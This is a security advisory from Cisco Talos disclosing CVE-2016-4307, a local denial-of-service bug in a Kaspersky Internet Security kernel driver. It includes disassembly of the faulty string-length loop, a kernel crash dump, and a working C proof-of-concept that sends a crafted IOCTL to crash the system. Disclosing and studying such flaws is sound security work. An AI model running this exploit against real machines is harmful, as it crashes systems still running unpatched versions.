Talos Vulnerability Report

TALOS-2016-0169

Kaspersky Internet Security KL1 Driver Signal Handler Denial of Service

August 26, 2016
CVE Number

CVE-2016-4307

Summary

A denial of service vulnerability exists in the IOCTL handling functionality of Kaspersky Internet Security KL1 driver. A specially crafted IOCTL signal can cause an access violation in KL1 kernel driver resulting in local system denial of service. An attacker can run a program from user mode to trigger this vulnerability.

Tested Versions

Kaspersky Internet Security 16.0.0, KLIF driver version 10.0.0.1532

Product URLs

http://kaspersky.com

CVSSv3 Score

5.5 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Details

This vulnerability can be triggered by sending a specially crafted IOCTL signal (0x222070) to KLBG device.

The faulting code is located in the KL1 hidden driver:

.text:00018D1A TutajCrash      proc near               ; CODE XREF: sub_18DA8+20p
.text:00018D1A                                         ; sub_1F5B0+4Ap ...
.text:00018D1A
.text:00018D1A arg_0           = dword ptr  8
.text:00018D1A arg_4           = dword ptr  0Ch
.text:00018D1A arg_8           = dword ptr  10h
.text:00018D1A
.text:00018D1A                 mov     edi, edi
.text:00018D1C                 push    ebp
.text:00018D1D                 mov     ebp, esp
.text:00018D1F                 push    esi
.text:00018D20                 mov     esi, [ebp+arg_4]
.text:00018D23                 xor     eax, eax
.text:00018D25                 mov     ecx, esi         ; ecx=7fffffff
.text:00018D27                 test    esi, esi
.text:00018D29                 jz      short loc_18D3C
.text:00018D2B                 mov     edx, [ebp+arg_0]
.text:00018D2E
.text:00018D2E loc_18D2E:                              ; CODE XREF: TutajCrash+1Cj
.text:00018D2E                 cmp     [edx], ax        ; out of bound read - access violation
.text:00018D31                 jz      short loc_18D38
.text:00018D33                 inc     edx
.text:00018D34                 inc     edx
.text:00018D35                 dec     esi
.text:00018D36                 jnz     short loc_18D2E
.text:00018D38
.text:00018D38 loc_18D38:                              ; CODE XREF: TutajCrash+17j
.text:00018D38                 test    esi, esi
.text:00018D3A                 jnz     short loc_18D41
.text:00018D3C
.text:00018D3C loc_18D3C:                              ; CODE XREF: TutajCrash+Fj
.text:00018D3C                 mov     eax, 0C000000Dh
.text:00018D41
.text:00018D41 loc_18D41:                              ; CODE XREF: TutajCrash+20j
.text:00018D41                 mov     edx, [ebp+arg_8]
.text:00018D44                 test    edx, edx
.text:00018D46                 jz      short loc_18D55
.text:00018D48                 test    eax, eax
.text:00018D4A                 jl      short loc_18D52
.text:00018D4C                 sub     ecx, esi
.text:00018D4E                 mov     [edx], ecx
.text:00018D50                 jmp     short loc_18D55
.text:00018D52 ; ---------------------------------------------------------------------------
.text:00018D52
.text:00018D52 loc_18D52:                              ; CODE XREF: TutajCrash+30j
.text:00018D52                 and     dword ptr [edx], 0
.text:00018D55
.text:00018D55 loc_18D55:                              ; CODE XREF: TutajCrash+2Cj
.text:00018D55                                         ; TutajCrash+36j
.text:00018D55                 pop     esi
.text:00018D56                 pop     ebp
.text:00018D57                 retn    0Ch
.text:00018D57 TutajCrash      endp

The instruction at 0x00018D2E is executed in a loop. The purpose of this loop is to calculate the input string length by scanning for a NULL character. However if the NULL character is not found in the supplied input string this loop will continue reading memory that exceeds the bounds of supplied buffer which in most of cases will cause a access violation and a system crash.

Crash Information

kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except,
it must be protected by a Probe.  Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: b9000000, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 8742bd2e, If non-zero, the instruction address which referenced the bad memory
    address.
Arg4: 00000002, (reserved)

Debugging Details:
------------------


READ_ADDRESS:  b9000000

FAULTING_IP:
kl1+21d2e
8742bd2e 663902          cmp     word ptr [edx],ax

MM_INTERNAL_CODE:  2

IMAGE_NAME:  kl1.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  558314e0

MODULE_NAME: kl1

FAULTING_MODULE: 8740a000 kl1

DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

BUGCHECK_STR:  0x50

PROCESS_NAME:  poc_kaspersky1

CURRENT_IRQL:  2

ANALYSIS_VERSION: 6.3.9600.17298 (debuggers(dbg).141024-1500) amd64fre

TRAP_FRAME:  8205f8d8 -- (.trap 0xffffffff8205f8d8)
ErrCode = 00000000
eax=00000000 ebx=93b00df8 ecx=7fffffff edx=b9000000 esi=7effffff edi=b7000000
eip=8742bd2e esp=8205f94c ebp=8205f950 iopl=0         nv up ei pl nz ac pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010216
kl1+0x21d2e:
8742bd2e 663902          cmp     word ptr [edx],ax        ds:0023:b9000000=????
Resetting default scope

LAST_CONTROL_TRANSFER:  from 8292c083 to 828c8110

STACK_TEXT:
8205f424 8292c083 00000003 4c2a6b47 00000065 nt!RtlpBreakWithStatusInstruction
8205f474 8292cb81 00000003 00003ff8 b9000000 nt!KiBugCheckDebugBreak+0x1c
8205f838 828db41b 00000050 b9000000 00000000 nt!KeBugCheck2+0x68b
8205f8c0 8288e3d8 00000000 b9000000 00000000 nt!MmAccessFault+0x106
8205f8c0 8742bd2e 00000000 b9000000 00000000 nt!KiTrap0E+0xdc
WARNING: Stack unwind information not available. Following frames may be wrong.
8205f950 87432616 b7000000 7fffffff 8205f96c kl1+0x21d2e
8205f970 8742a7f5 00000014 8742e534 b7000000 kl1+0x28616
8205f9bc 8742aca8 93b00d88 93b00df8 93b00df8 kl1+0x207f5
8205f9d8 8740cb57 84b48678 00222070 855f05c0 kl1+0x20ca8
8205fa04 82884593 84b48678 93b00d88 93b00d88 kl1+0x2b57
8205fa1c 82a7899f 855f05c0 93b00d88 93b00df8 nt!IofCallDriver+0x63
8205fa3c 82a7bb71 84b48678 855f05c0 00000000 nt!IopSynchronousServiceTail+0x1f8
8205fad8 82ac23f4 84b48678 93b00d88 00000000 nt!IopXxxControlFile+0x6aa
8205fb0c 8c441204 00000038 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
8205fb98 8c51805a 00000038 00000000 00000000 klif+0x20204
8205fbd0 8c519206 8c440dca 8205fc0c 00000028 klhk+0x105a
8205fbec 8c51801f 85fff8f8 8205fc0c 8205fc00 klhk+0x2206
8205fc04 8288b1ea 00000038 00000000 00000000 klhk+0x101f
8205fc04 777870b4 00000038 00000000 00000000 nt!KiFastCallEntry+0x12a
001af808 77785864 7593989d 00000038 00000000 ntdll!KiFastSystemCallRet
001af80c 7593989d 00000038 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
001af86c 75d5a671 00000038 00222070 02000000 KERNELBASE!DeviceIoControl+0xf6
001af898 011312f2 00000038 00222070 02000000 kernel32!DeviceIoControlImplementation+0x80
001afe1c 011323df 001afe30 75d63c45 7ffdc000 poc_kaspersky1+0x12f2
001afe24 75d63c45 7ffdc000 001afe70 777a37f5 poc_kaspersky1+0x23df
001afe30 777a37f5 7ffdc000 5e909af3 00000000 kernel32!BaseThreadInitThunk+0xe
001afe70 777a37c8 011323d0 7ffdc000 00000000 ntdll!__RtlUserThreadStart+0x70
001afe88 00000000 011323d0 7ffdc000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  kb

FOLLOWUP_IP:
kl1+21d2e
8742bd2e 663902          cmp     word ptr [edx],ax

SYMBOL_STACK_INDEX:  5

SYMBOL_NAME:  kl1+21d2e

FOLLOWUP_NAME:  MachineOwner

IMAGE_VERSION:  6.8.0.54

FAILURE_BUCKET_ID:  0x50_kl1+21d2e

BUCKET_ID:  0x50_kl1+21d2e

ANALYSIS_SOURCE:  KM

FAILURE_ID_HASH_STRING:  km:0x50_kl1+21d2e

FAILURE_ID_HASH:  {528725d7-9a29-13f1-15aa-ffc775352f2e}

Followup: MachineOwner
---------

Exploit Proof-of-Concept

#include <stdio.h>
#include <windows.h>

int main(void)
{
    HANDLE hDevice;
    char dev[255];
    DWORD   out;
    char    outBuff[1024];


    memset(outBuff, 'B', sizeof(outBuff));
    _snprintf(dev, sizeof(dev), "\\\\.\\KLBG");
    printf("Trying to open device: %s \r\n", dev);

    hDevice = CreateFile(dev, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("Error: unable to open device, error = 0x%08x\r\n", GetLastError());
        return 0;
    }

    printf("Device opened, handle = 0x%08x \r\n", hDevice);
    #define M_SIZE      0x1ffffff // 1024*1024*10
    BYTE *mem = (BYTE*)VirtualAlloc(0, M_SIZE, MEM_COMMIT, PAGE_READWRITE);
    printf("mem_ptr = 0x%08x \r\n", mem);
    if (!mem) exit(0);

    memset(mem, 0xCC, M_SIZE);

    BOOL st = DeviceIoControl(hDevice, 0x222070, (LPVOID)mem, M_SIZE,
        (LPVOID)&outBuff,
        sizeof(outBuff), &out,
        NULL);


    return 0;
}

Timeline

2016-04-29 - Vendor Notification
2016-08-26 – Patch Released
2016-08-26 – Public Disclosure

Credit

Discovered by Piotr Bania of Cisco Talos.